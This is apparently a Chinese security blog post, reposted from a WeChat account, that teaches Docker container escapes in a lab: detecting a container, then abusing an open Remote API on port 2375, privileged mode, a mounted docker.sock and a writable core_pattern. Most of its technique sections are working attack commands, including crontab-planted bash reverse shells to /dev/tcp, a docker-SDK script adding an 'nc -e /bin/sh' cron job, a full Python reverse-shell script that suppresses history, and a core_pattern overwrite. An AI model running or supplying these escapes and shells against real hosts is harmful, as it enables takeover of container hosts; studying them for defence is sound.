Docker逃逸学习篇

admin 2024年1月10日12:46:16评论12 views字数 6335阅读21分7秒阅读模式

微信公众号:[威零安全实验室]
弱小和无知不是生存的障碍,傲慢才是!
[如果你觉得文章对你有帮助,欢迎点赞+转发]

现在只对常读和星标的公众号才展示大图推送,建议大家能把威零安全实验室设为星标”,否则可能就看不到了啦

Docker逃逸学习篇

免责声明

本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。

由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。威零安全实验室公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

内容目录

docke逃逸之判断1、查看hostname(不太准)2、cat /proc/1/cgroup3、检查根目录下是否存在.dockerenv文件4、搜索docker字样(不推荐使用)1、 Docker Remote API未授权访问逃逸1.1 环境搭建1.2 漏洞复现2、Dokcer之privileged特权模式逃逸2.1 环境搭建2.2 漏洞复现3、挂载Docker Socket逃逸3.1 环境搭建3.2 漏洞复现   4、procfs挂载逃逸      4.1 环境搭建
      4.2 漏洞复现

docke逃逸之判断

如何判断是否在docker容器中

1、查看hostname(不太准)

docker执行hostname后一般都是一串数字。

Docker逃逸学习篇

但是也有可能创建者会修改,所以有时候不太准。

2、cat /proc/1/cgroup

这个命令是显示进程1所属的control group (cgroup) 的层次结构。
通过这个命令我们如果看到docker字样,就说明我们应该是在容器中。

Docker逃逸学习篇

3、检查根目录下是否存在.dockerenv文件

ls -al /
Docker逃逸学习篇

解释:当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。

4、搜索docker字样(不推荐使用)

grep -qi docker

在文本中查找是否包含 "docker" 这个单词,但是运行时间太长,不建议使用。

Docker逃逸学习篇

1、 Docker Remote API未授权访问逃逸

docker swarm是一个docker集群管理的工具,在使用docker swarm的时候,默认的2375端口会绑定一个Docker Remote API的服务,由于这个端口默认绑定在了0.0.0.0上,所以导致任何人都可以通过HTTP、Python、调用API来操作Docker。

1.1环境搭建

这里使用的环境是vulhub。
下载地址:

https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md

然后,我们这边开启环境。

cd vulhub-master/docker/unauthorized-rcedocker-compose builddocker-compose up -d

1.2 漏洞复现

靶机(ubuntu)IP:192.168.89.130
通过访问2375端口,发现有回显信息,通过version得到当前环境信息,则说明存在漏洞。

Docker逃逸学习篇

然后我们这边使用kali(192.168.89.128)作为攻击机进行测试。
执行命令:

docker -H tcp://192.168.89.130:2375 ps
查看目标主机是否存在正在运行的docker容器,我这边是没有的。

Docker逃逸学习篇

所以我们要拉取一个(如果有的话用现有的就可以)。这里我用busybox镜像,因为这个镜像很小,但是命令很全。

docker -H tcp://192.168.89.130:2375 pull busybox docker -H tcp://192.168.89.130:2375 images
Docker逃逸学习篇

然后我们以sh或者/bin/bash作为shell启动,并且将该宿主机的根目录挂在到容器的/mnt目录下

docker -H tcp://192.168.89.130:2375 run -it -v /:/mnt 8135583d97fe shdocker -H tcp://192.168.89.130:2375 run -it -v /:/mnt 8135583d97fe /bin/bash
执行之后会返回一个该容器宿主机的shell
解释:由于使用了 "-v /:/mnt" 参数,它会将主机的根目录 "/" 挂载到容器内的 "/mnt" 目录,从而使得容器内可以访问到主机的文件系统,因此,当进入到这个容器中时,实际上进入的是主机的根目录,而不是容器本身的根目录。也就是说,你实际上是在宿主机上执行了一个交互式的shell会话,而不是运行了一个独立的Docker容器。

Docker逃逸学习篇

这时候我们进入/mnt目录下就相当于进入了宿主机的根目录下。
现在我们就对宿主机的文件有了操作权限,所以我们这边就要拿到宿主机的shell,我们可以选择使用写入ssh公钥,也可以选择计划任务反弹shell。
这里用计划任务反弹shell做个演示,这里我们写将反弹shell命令写到sh中,然后将sh加入到计划任务中执行。(直接写入计划任务反弹shell我没有成功)。

cd /mnttouch /mnt/hacker.shecho "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/mnt/hacker.shecho "* * * * * root bash /hacker.sh" >> /mnt/etc/crontab
这里有个小坑:默认linux的cron应该是没有开启的,我等了半天也没有等到shell,直到我在宿主机上开启了计划任务。
service cron start
然后shell就直接过来了。

Docker逃逸学习篇

Docker逃逸学习篇

此外还可以使用其他师傅写的一个脚本,只需要修改一下挂载路径,目标ip和反弹ip和端口就好了。

import dockerclient = docker.DockerClient(base_url='http://your-ip:2375/')data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

2、Dokcer之privileged特权模式逃逸

Docker 的 --privileged 参数是一种特权模式,允许容器中的进程获得与宿主机相同的权限。
所以我们这边再拉取一个dcoker容器,然后使用特权模式启动。

2.1环境搭建

docker pull alpine  #拉取alpine环境docker run -itd --privileged alpine /bin/sh   #以特权模式启动

启动后进入容器

docker exec -it b8bb60ef2862 /bin/sh
Docker逃逸学习篇

2.2 漏洞复现

在容器内部的时候,我们首先判断我们当前容器是否是特权模式。
例如这个命令就可以进行判断

cat /proc/self/status | grep CapEff

cat /proc/self/status 用于查看当前进程的状态信息。
grep CapEff 用于从输出结果中过滤出 CapEff 相关的行
capability 是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

Docker逃逸学习篇

执行后发现当前的掩码值为:000001ffffffffff
一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。
然后我们查看一下分区情况

fdisk -l   #列出所有已经连接到系统上的磁盘和它们的分区信息
Docker逃逸学习篇

可以看到sda5就是宿主机的磁盘。
所以我们接下来只需要把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了。

mkdir /testmount /dev/sda5 /test   #将宿主机磁盘挂载到test目录下。

Docker逃逸学习篇

然后接下来的操作就和上面一样了,因为有了宿主机磁盘的操作权限,所以我们继续写计划任务就可以了。

touch /test/test.shecho "bash -i >& /dev/tcp/192.168.89.128/9898 0>&1" >/test/test.shecho "* * * * * root bash /test.sh" >> /test/etc/crontab
Docker逃逸学习篇

一分钟后成功拿到了宿主机shell,可以通过docker ps 验证一下。

Docker逃逸学习篇

3、挂载Docker Socket逃逸

如果在启动docker容器时,将宿主机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以操作宿主机的docker。
解释:docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker,使用docker命令,操作

docker:unix:///var/run/docker.socktcp://host:portfd://socketfd

攻击者通过利用 Docker daemon 与 Dockers Host(宿主机)之间的通信管道 Docker Socket 接口进行提权和攻击。

3.1环境搭建

创建一个容器并挂载 /var/run/docker/sock 文件

docker pull ubuntu:16.04docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
Docker逃逸学习篇

3.2 漏洞复现

进入容器后搜索find / -name docker.sock,如果这个文件存在,则说明这个漏洞可能存在。

find / -name docker.sock
Docker逃逸学习篇

然后我们在容器内安装Docker作为client

apt-get update && apt-get install docker.io
Docker逃逸学习篇

然后我们就可以利用docker.sock查看宿主机中的镜像

docker -H unix://var/run/docker.sock images

Docker逃逸学习篇

然后我们在docker容器中,使用命令再运行一个新容器,将宿主机的根目录挂载到alpine的test1目录中,造成docker逃逸。

docker -H unix://var/run/docker.sock run -v /:/test1 -it alpine /bin/bash
Docker逃逸学习篇

成功启动新容器并挂载,接下来的就和之前一样了,写入计划任务,反弹shell。
这个漏洞过程大致就是这样:发现存在docker.sock,在A容器(当前所在容器)中利用docker.sock和宿主机的docker进行通信,然后给宿主机发出命令,新启动一个容器B,将宿主机的根目录挂载到B容器中,后续就和之前一样了,操作挂载的宿主机目录进行计划任务写入反弹shell。

4、procfs挂载逃逸

procfs是一种特殊的文件系统,它不存储实际的文件,而是提供一个类似于虚拟文件的接口。你可以通过 /proc 目录中的各种文件,查询操作系统内核、进程、硬件设备等信息。
漏洞利用原理:procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern文件中的首个字符是管道符| ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
当利用这种方式进行docker逃逸时,触发条件比较苛刻,需要有进程奔溃才能触发。

4.1 环境配置

启动容器ubuntu:16.04,将/proc/sys/kernel/core_pattern挂载到容器中的/host/proc/sys/kernel/core_pattern位置。

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:16.04
Docker逃逸学习篇

漏洞检测:

find / -name core_pattern
Docker逃逸学习篇

如果发现两个core_pattern,那就极有可能是宿主机的core_pattern挂载到了容器中,我们就可以进行漏洞测试了。

4.2 漏洞复现

找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
Docker逃逸学习篇

当前宿主机绝对路径为:

var/lib/docker/overlay2/eeb4a1acc3448e713ce87665ead1a363234168925e31adc6736d07356e862533
然后我们需要安装gcc和vim
apt-get update -y && apt-get install vim gcc -y
Docker逃逸学习篇

创建一个反弹Shell的py脚本

vim /tmp/.t.py#!/usr/bin/python3import  osimport ptyimport socketlhost = "192.168.89.128"lport = 4444def main():   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   s.connect((lhost, lport))   os.dup2(s.fileno(), 0)   os.dup2(s.fileno(), 1)   os.dup2(s.fileno(), 2)   os.putenv("HISTFILE", '/dev/null')   pty.spawn("/bin/bash")   # os.remove('/tmp/.t.py')   s.close()if __name__ == "__main__":   main()

给 Shell 赋予执行权限

chmod 777 .t.py

我们修改/host/proc/sys/kernel/core_pattern文件以达到修改宿主机/proc/sys/kernel/core_pattern的目的。

echo -e "|var/lib/docker/overlay2/eeb4a1acc3448e713ce87665ead1a363234168925e31adc6736d073/merged/tmp/.t.py rcore    " >  /host/proc/sys/kernel/core_pattern
Docker逃逸学习篇

然后在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

vim t.c#include<stdio.h>int main(void)  {   int *a  = NULL;   *a = 1;   return 0;}gcc t.c -o t./t

Docker逃逸学习篇

然而我的shell却迟迟没有回来,我去看了宿主机下的core_pattern确实写进去了,有点迷茫。
不过一般情况下是不会将宿主机的 procfs 挂载到容器中的,问题不大,下一篇文章复现一下docker逃逸的CVE漏洞。

每日祝福

祝师傅们,天天高危、日日0day!!!!!!!!!!!!!!!

PY交易

为了方便师傅们交流学习,我特意创建了一个群聊。内部会分享一些脱敏的漏洞报告,渗透测试实战案例,更有若干大牛巨佬分享经验。后续还会提供一些福利包括送书,小礼物等等,欢迎各位师傅进群交流

由于“威零安全交流群”群聊人数已满200人,扫码进不了的师傅可以添加机器人secbot回复“威零科技”即可加入群聊

Docker逃逸学习篇

Docker逃逸学习篇

原文始发于微信公众号(威零安全实验室):Docker逃逸学习篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日12:46:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker逃逸学习篇https://cn-sec.com/archives/2343990.html

发表评论

匿名网友 填写信息